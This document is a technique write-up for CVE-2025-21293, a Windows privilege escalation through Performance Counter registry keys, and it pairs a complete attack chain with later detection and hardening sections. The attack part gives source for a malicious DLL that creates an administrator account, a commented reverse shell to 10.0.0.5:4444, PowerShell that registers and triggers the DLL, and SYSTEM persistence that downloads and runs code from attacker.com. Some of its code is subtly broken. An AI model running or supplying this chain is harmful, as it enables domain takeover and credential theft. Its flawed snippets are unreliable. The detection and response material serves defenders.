| Attribute | Details |
|---|---|
| Technique ID | CVE2025-003 |
| MITRE ATT&CK v18.1 | T1068 - Exploitation for Privilege Escalation |
| Tactic | Privilege Escalation |
| Platforms | Windows Active Directory Domain Services (Windows Server 2012-2025, Windows 10/11) |
| Severity | High |
| CVE | CVE-2025-21293 (CVSS 8.8) |
| Technique Status | ACTIVE (Misconfigured registry permissions on Network Configuration Operators group) |
| Last Verified | 2025-01-10 |
| Affected Versions | Windows 10 (1607, 1809, 21H2, 22H2), Windows 11 (22H2, 23H2, 24H2), Server 2012/2012R2/2016/2019/2022/2025 |
| Patched In | MS Patch Tuesday January 2025 (KB5035893 and related) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: CVE-2025-21293 is a privilege escalation vulnerability in Active Directory Domain Services (AD DS) that exploits excessive permissions granted to the “Network Configuration Operators” built-in security group. This group, automatically created during domain controller setup, was granted KEY_CREATE_SUB_KEY permission on critical Windows registry keys including DnsCache and NetBT services. Attackers who are members of this group (or can social engineer their way into membership) can register malicious Windows Performance Counter DLLs under these service keys. When Performance Counters are queried (via PerfMon.exe, WMI, or monitoring tools), the malicious DLLs load and execute with SYSTEM-level privileges, enabling full system compromise.
Attack Surface: Windows Registry (HKLM\SYSTEM\CurrentControlSet\Services\DnsCache\Performance, HKLM\SYSTEM\CurrentControlSet\Services\NetBT\Performance); Windows Performance Counter infrastructure; WMI queries (Get-Counter PowerShell cmdlet); Registry key HKLM\SYSTEM\CurrentControlSet\Services\{service}\Performance\ with subkeys: Library, Open, Collect, Close.
Business Impact: Domain-level privilege escalation. Successful exploitation enables attackers with Network Configuration Operators membership to escalate to SYSTEM privileges, leading to: (1) Complete domain controller compromise, (2) Golden Ticket generation and persistent domain access, (3) Extraction of NTDS.dit (Active Directory database), (4) Compromise of all domain users and computers, (5) Ransomware deployment with administrative privileges.
Technical Context: Exploitation takes 30-60 seconds after registry modification and Performance Counter query. Detection likelihood is Medium if registry auditing enabled; Low otherwise. Common indicators include unusual registry modifications under Performance Counter keys, suspicious WMI queries, and SYSTEM-level process spawning from user context.
| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | 2.2.1 | Ensure audit log retention is “30 or more days” (detect registry changes) | | DISA STIG | WN10-AU-000005 | Audit Policy / Special Logon must be “Success and Failure” | | CISA SCuBA | AD.PR.1 | Administrative Privileges - Least privilege principle | | NIST 800-53 | AC-2 / AC-3 | Account Management; Access enforcement failures | | GDPR | Art. 32 | Security of processing and encryption of data in transit/at rest | | DORA | Art. 9 / Art. 17 | ICT incident handling; Digital Operational Resilience | | NIS2 | Art. 21 | Cyber risk management measures for critical infrastructure | | ISO 27001 | A.9.4.1 / A.12.6.1 | Information access control; management of technical vulnerabilities | | ISO 27005 | Risk Scenario | Compromise of Administrative Privileges via Registry Misconfiguration |
Required Privileges: Active Domain User account who is member of “Network Configuration Operators” group OR ability to elevate into this group.
Required Access: Network access to domain controller (Kerberos/LDAP); local logon to a domain-joined computer; ability to execute PowerShell or WMI queries.
Supported Versions:
Tools:
# Step 1: Check if current user is member of Network Configuration Operators
$username = $env:USERNAME
$userdomain = $env:USERDOMAIN
$sid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User
$account = New-Object System.Security.Principal.NTAccount($userdomain, $username)
$groupSID = New-Object System.Security.Principal.SecurityIdentifier("S-1-5-32-556") # Network Configuration Operators RID
# Alternative: Direct group check
Get-LocalGroupMember -Group "Network Configuration Operators" | Select-Object Name, ObjectClass
# Step 2: Verify registry key permissions
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\DnsCache\Performance"
$acl = Get-Acl -Path $regPath
$acl.Access | Where-Object {$_.IdentityReference -like "*Network Configuration Operators*"} | Select-Object IdentityReference, FileSystemRights, AccessControlType
# Step 3: Check if WMI Performance Counter access is available
Get-CimInstance -ClassName Win32_PerfRawData
# Step 4: Enumerate existing Performance Counter libraries
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\*\Performance" | Select-Object PSPath, Library, Open, Collect, Close
# Step 5: Verify PerfMon can be executed
Get-Command perfmon.exe
# Step 6: Check if user can access WMI
Get-CimSession -ErrorAction SilentlyContinue
# Step 7: Determine Windows version (patch status)
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' | Select-Object CurrentVersion, CurrentBuild, DisplayVersion
What to Look For:
Version Note: Exploitation identical across all vulnerable Windows versions; no version-specific differences in technique.
Supported Versions: Windows 10 1607+ / Server 2012+
Objective: Develop a Windows DLL that will be executed with SYSTEM privileges when loaded as a Performance Counter library.
Command (C/C++):
// malicious_counter.c - Compile as DLL: cl /LD malicious_counter.c
#include <windows.h>
#include <stdio.h>
// Performance Counter DLL must export these functions
extern "C" {
__declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR lpDeviceNames);
__declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR lpValueName, LPVOID *lppData, LPDWORD lpcbData, LPDWORD lpNumObjectTypes);
__declspec(dllexport) DWORD APIENTRY ClosePerfData(void);
}
// Payload: Execute when DLL is loaded
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Execute payload with SYSTEM privileges
// Option 1: Spawn new process
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
// Add attacker user to Administrators group (runs as SYSTEM)
CreateProcessW(L"C:\\Windows\\System32\\net.exe",
L"net user Attacker /add && net localgroup Administrators Attacker /add",
NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
// Option 2: Create reverse shell
// CreateProcessW(L"C:\\Windows\\System32\\cmd.exe",
// L"/c powershell -c $socket=new-object System.Net.Sockets.TcpClient('10.0.0.5',4444);...",
// ...);
// Wait for process to complete
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
return TRUE;
}
// Dummy Performance Counter functions (required exports)
DWORD APIENTRY OpenPerfData(LPWSTR lpDeviceNames) {
return ERROR_SUCCESS;
}
DWORD APIENTRY CollectPerfData(LPWSTR lpValueName, LPVOID *lppData, LPDWORD lpcbData, LPDWORD lpNumObjectTypes) {
return ERROR_SUCCESS;
}
DWORD APIENTRY ClosePerfData(void) {
return ERROR_SUCCESS;
}
Compilation:
# Using Visual Studio Build Tools
cl /LD malicious_counter.c
# Resulting file: malicious_counter.dll
# Place in accessible location (e.g., C:\Temp\malicious_counter.dll)
What This Means:
OpSec & Evasion:
Objective: Create registry entries under Network Configuration Operators-writable keys to register the malicious DLL as a Performance Counter library.
Command (PowerShell):
# Target registry path (Network Configuration Operators has KEY_CREATE_SUB_KEY permission)
$serviceName = "DnsCache" # Could also use "NetBT"
$basePath = "HKLM:\SYSTEM\CurrentControlSet\Services\$serviceName\Performance"
# Verify current user can access this key
$acl = Get-Acl -Path $basePath
$acl.Access
# Create Performance Counter subkeys (required structure)
New-Item -Path "$basePath" -Name "Library" -Force -ErrorAction SilentlyContinue | Out-Null
New-Item -Path "$basePath" -Name "Open" -Force -ErrorAction SilentlyContinue | Out-Null
New-Item -Path "$basePath" -Name "Collect" -Force -ErrorAction SilentlyContinue | Out-Null
New-Item -Path "$basePath" -Name "Close" -Force -ErrorAction SilentlyContinue | Out-Null
# Register malicious DLL path
$dllPath = "C:\Temp\malicious_counter.dll"
New-ItemProperty -Path "$basePath" -Name "Library" -Value $dllPath -PropertyType String -Force
New-ItemProperty -Path "$basePath" -Name "Open" -Value "OpenPerfData" -PropertyType String -Force
New-ItemProperty -Path "$basePath" -Name "Collect" -Value "CollectPerfData" -PropertyType String -Force
New-ItemProperty -Path "$basePath" -Name "Close" -Value "ClosePerfData" -PropertyType String -Force
# Verify registry entries created
Get-ItemProperty -Path "$basePath" | Select-Object Library, Open, Collect, Close
# Expected output:
# Library : C:\Temp\malicious_counter.dll
# Open : OpenPerfData
# Collect : CollectPerfData
# Close : ClosePerfData
Expected Output:
Library : C:\Temp\malicious_counter.dll
Open : OpenPerfData
Collect : CollectPerfData
Close : ClosePerfData
What This Means:
OpSec & Evasion:
Objective: Query Performance Counters to force the Windows kernel to load our malicious DLL with SYSTEM privileges.
Command (PowerShell):
# Method 1: Using Get-Counter (standard PowerShell)
# This query forces the DnsCache Performance Counter to load our DLL
try {
$counter = Get-Counter -Counter "\DnsCache\*" -ErrorAction SilentlyContinue
Write-Host "Counter query executed - DLL should be loaded"
} catch {
Write-Host "Counter access failed (expected): $_"
}
# Method 2: Using WMI (Get-CimInstance) - more reliable
try {
$wmiQuery = Get-CimInstance -ClassName Win32_PerfRawData_PerfNet_NetworkInterface -ErrorAction SilentlyContinue
Write-Host "WMI query executed - DLL loaded via WMI service"
} catch {
Write-Host "WMI query failed: $_"
}
# Method 3: Using PerfMon GUI (manual)
# perfmon.exe → Performance Monitor → Add Counters → DnsCache → {our malicious counter}
# Method 4: Using typeperf command-line
# typeperf -sc 1 "\DnsCache(*)\*"
# Verify exploitation success
# - New user "Attacker" should exist in local Administrators group
Get-LocalGroupMember -Group "Administrators" | Where-Object {$_.Name -like "*Attacker*"}
# If exploitation successful, output will show:
# Attacker NT AUTHORITY\Attacker User Administrators
Expected Output (On Successful Exploitation):
Counter query executed - DLL should be loaded
Account Name : Attacker
Domain : WORKGROUP
Status : Enabled
LastLogon : 1/10/2025 3:45:00 PM
MemberOf : Administrators
What This Means:
OpSec & Evasion:
Troubleshooting:
Get-LocalGroupMember -Group "Network Configuration Operators"Test-Path "C:\Temp\malicious_counter.dll"Objective: Confirm SYSTEM-level access and maintain persistence for long-term control.
Command (PowerShell):
# Verify new admin user was created
$newUser = Get-LocalUser -Name "Attacker" -ErrorAction SilentlyContinue
if ($newUser) {
Write-Host "[+] Privilege escalation successful - Attacker account created"
# Set password to non-expiring
Set-LocalUser -Name "Attacker" -PasswordNeverExpires $true
# Create scheduled task for persistence (runs as SYSTEM)
$taskPath = "\Microsoft\Windows\UpdateOrchestrator\"
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -Command 'IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.com/shell\")'"
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName "SystemUpdates" -Action $action -Trigger $trigger `
-Principal (New-ScheduledTaskPrincipal -UserID "NT AUTHORITY\SYSTEM" -LogonType ServiceAccount) `
-Force
Write-Host "[+] Persistence established - SystemUpdates task created"
} else {
Write-Host "[-] Exploitation failed - Attacker account not found"
}
# Alternative persistence: Create SYSTEM-level registry autorun
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" `
-Name "SystemService" -Value "C:\Temp\malicious.exe" -Force
# Access sensitive data as SYSTEM
# - Export NTDS.dit from domain controller
# - Read HKLM\SAM and HKLM\SECURITY registry hives
# - Create Golden Ticket
References & Proofs:
Supported Versions: Windows Server 2016+
# Create scheduled task that executes with SYSTEM privileges
$xmlPath = "C:\Temp\malicious_task.xml"
# Create task definition XML
@"
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.1" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Date>2025-01-10T12:00:00</Date>
</RegistrationInfo>
<Triggers>
<LogonTrigger>
<Enabled>true</Enabled>
</LogonTrigger>
</Triggers>
<Principals>
<Principal id="LocalSystem">
<UserId>S-1-5-18</UserId>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Actions Context="LocalSystem">
<Exec>
<Command>C:\Windows\System32\cmd.exe</Command>
<Arguments>/c net user Attacker2 /add && net localgroup Administrators Attacker2 /add</Arguments>
</Exec>
</Actions>
</Task>
"@ | Out-File -FilePath $xmlPath -Encoding UTF16
# Register task (requires admin or Network Configuration Operators)
Register-ScheduledTask -Xml (Get-Content $xmlPath | Out-String) -TaskName "SystemMaintenance" -Force
Rule Configuration:
SPL Query:
index=windows_events EventCode=4657 ObjectName IN ("*Performance*", "*DnsCache*", "*NetBT*")
| where NewValueType="REG_SZ" AND NewValue="*.dll"
| stats count, values(SubjectUserName), values(ObjectName), values(NewValue) by ComputerName
| where count >= 3
What This Detects:
SPL Query:
index=windows_events EventCode IN (1000, 1001) source="*PerfMon*"
OR (Process="perfmon.exe" OR Process="Get-Counter")
OR (CommandLine="*typeperf*" AND CommandLine="*DnsCache*")
| stats count, values(ComputerName), values(SubjectUserName) by Process, CommandLine
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4657
| where ObjectName has "Performance" or ObjectName has "DnsCache" or ObjectName has "NetBT"
| where NewValueType == "REG_SZ" and NewValue endswith ".dll"
| summarize Count = count(), UniqueObjects = make_set(ObjectName), SubjectUserNames = make_set(SubjectUserName) by Computer, tostring(NewValue)
| where Count >= 3
Manual Configuration Steps:
Registry Performance Counter ModificationEvent ID: 4657 (Registry Object Modified)
HKLM\SYSTEM\CurrentControlSet\Services\{service}\PerformanceManual Configuration Steps (Group Policy):
gpupdate /forceauditpol /get /subcategory:"Registry" /rMinimum Sysmon Version: 13.0+
<Sysmon schemaversion="4.33">
<RuleGroup name="Registry Performance Counter Exploitation" groupRelation="or">
<!-- Detect registry creation/modification under Performance Counter keys -->
<RegistryEvent onmatch="include">
<TargetObject condition="contains">\Performance\</TargetObject>
<Image condition="is not">services.exe</Image>
<Image condition="is not">svchost.exe</Image>
</RegistryEvent>
<!-- Detect Get-Counter PowerShell execution -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">Get-Counter</CommandLine>
</ProcessCreate>
<!-- Detect Performance Monitor access -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">typeperf</CommandLine>
<CommandLine condition="contains">DnsCache</CommandLine>
</ProcessCreate>
</RuleGroup>
</Sysmon>
Alert Name: Suspicious registry modification in performance counter keys detected
Manual Configuration Steps:
HKLM\SYSTEM\CurrentControlSet\Services\DnsCache\Performance\Library = suspicious .dll pathHKLM\SYSTEM\CurrentControlSet\Services\NetBT\Performance\* = any non-standard entriesC:\Temp\, C:\Windows\Temp\, C:\ProgramData\%SystemRoot%\System32\config\SYSTEM) showing Performance Counter modifications# Disable compromised user account immediately
Disable-LocalUser -Name "Attacker"
# Remove from administrative groups
Remove-LocalGroupMember -Group "Administrators" -Member "Attacker" -Confirm:$false
# Disconnect network if critical system
Disable-NetAdapter -Name "*" -Confirm:$false
# Export registry hives
reg export HKLM\SYSTEM "C:\Evidence\SYSTEM.reg"
reg export HKLM\SAM "C:\Evidence\SAM.reg"
# Export Security event log
wevtutil epl Security "C:\Evidence\Security.evtx"
# Export Sysmon logs
wevtutil epl "Microsoft-Windows-Sysmon/Operational" "C:\Evidence\Sysmon.evtx"
# Collect suspicious DLL files
Copy-Item "C:\Temp\malicious*.dll" -Destination "C:\Evidence\" -Recurse
# Remove malicious registry entries
Remove-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\DnsCache\Performance\Library" -Force
Remove-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Performance\Library" -Force
# Remove malicious user accounts
Remove-LocalUser -Name "Attacker" -Confirm:$false
# Delete malicious DLL files
Remove-Item "C:\Temp\malicious*.dll" -Force
# Apply patch
# Run Windows Update to get January 2025 security update or later
# Reboot domain controller if compromised
Restart-Computer -Force
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [T1078] Valid Accounts | Obtain credentials for domain user in Network Configuration Operators |
| 2 | Privilege Escalation | [CVE2025-003] | AD DS Registry Key Elevation via Performance Counters |
| 3 | Persistence | [T1547.001] Registry Run Keys | Create SYSTEM-level scheduled task or registry autorun |
| 4 | Credential Access | [T1003.002] NTDS.dit Dump | Export Active Directory database as SYSTEM |
| 5 | Defense Evasion | [T1070.001] Clear Windows Event Logs | Delete audit logs covering exploitation traces |
| 6 | Lateral Movement | [T1021.006] Remote Service Session Initiation | Deploy malware to other domain members using SYSTEM access |
Apply Microsoft Security Patch (January 2025 or later):
Manual Steps (Windows Update):
Get-HotFix | Where-Object {$_.InstalledOn -gt [datetime]"2025-01-01"}Manual Steps (PowerShell - Automated):
# Enable Windows Update service
Start-Service -Name "wuauserv"
# Install specific KB
# Note: Requires Windows Update configuration
wusa.exe "C:\KB5035893.msu" /quiet /norestart
Remove Unnecessary Accounts from Network Configuration Operators Group:
# List all members of Network Configuration Operators
Get-LocalGroupMember -Group "Network Configuration Operators"
# Remove users who don't require this role
Remove-LocalGroupMember -Group "Network Configuration Operators" -Member "Username" -Confirm:$false
# Verify removal
Get-LocalGroupMember -Group "Network Configuration Operators"
Enable Registry Auditing for Performance Counter Keys:
# Enable audit policy
auditpol /set /subcategory:"Registry" /success:enable /failure:enable
# Set SACL on specific registry key
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\DnsCache\Performance"
$acl = Get-Acl -Path $regPath
$ace = New-Object System.Security.AccessControl.RegistryAuditRule(
[System.Security.Principal.WellKnownSidType]::WorldSid,
[System.Security.AccessControl.RegistryRights]::FullControl,
[System.Security.AccessControl.InheritanceFlags]::ContainerInherit,
[System.Security.AccessControl.PropagationFlags]::InheritOnly,
[System.Security.AccessControl.AuditFlags]::Success -bor [System.Security.AccessControl.AuditFlags]::Failure
)
$acl.AddAuditRule($ace)
Set-Acl -Path $regPath -AclObject $acl
Restrict Registry Key Permissions:
# Tighten permissions on Performance Counter registry keys
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\DnsCache\Performance"
$acl = Get-Acl -Path $regPath
# Remove excessive permissions from Network Configuration Operators
$ace = $acl.Access | Where-Object {$_.IdentityReference -like "*Network Configuration Operators*"}
if ($ace) {
$acl.RemoveAccessRule($ace) | Out-Null
}
# Grant only required permissions (read-only)
$rule = New-Object System.Security.AccessControl.RegistryAccessRule(
[System.Security.Principal.WellKnownSidType]::NetworkServiceSid,
[System.Security.AccessControl.RegistryRights]::ReadKey,
[System.Security.AccessControl.InheritanceFlags]::ContainerInherit,
[System.Security.AccessControl.PropagationFlags]::InheritOnly,
[System.Security.AccessControl.AccessControlType]::Allow
)
$acl.AddAccessRule($rule)
Set-Acl -Path $regPath -AclObject $acl
Monitor for Performance Counter Abuse via Azure Monitoring:
Manual Steps (Azure Sentinel):
Implement Conditional Access for Administrative Access:
Manual Steps (Entra ID):
# Verify patch is installed
Get-HotFix | Where-Object {$_.Description -like "*January 2025*" -or $_.HotFixID -eq "KB5035893"}
# Verify Network Configuration Operators membership is minimal
Get-LocalGroupMember -Group "Network Configuration Operators" | Measure-Object
# Verify registry audit policy enabled
auditpol /get /subcategory:"Registry" /r
# Verify registry permissions on Performance keys
$acl = Get-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Services\DnsCache\Performance"
$acl.Access | Where-Object {$_.IdentityReference -like "*Network Configuration Operators*"}
Expected Output (If Secure):
HotFixID : KB5035893
InstalledOn : 1/9/2025
MemberCount : 0 # No unnecessary members
Audit Category: Registry
Success: Enabled
Failure: Enabled
# No output from Network Configuration Operators access = permissions removed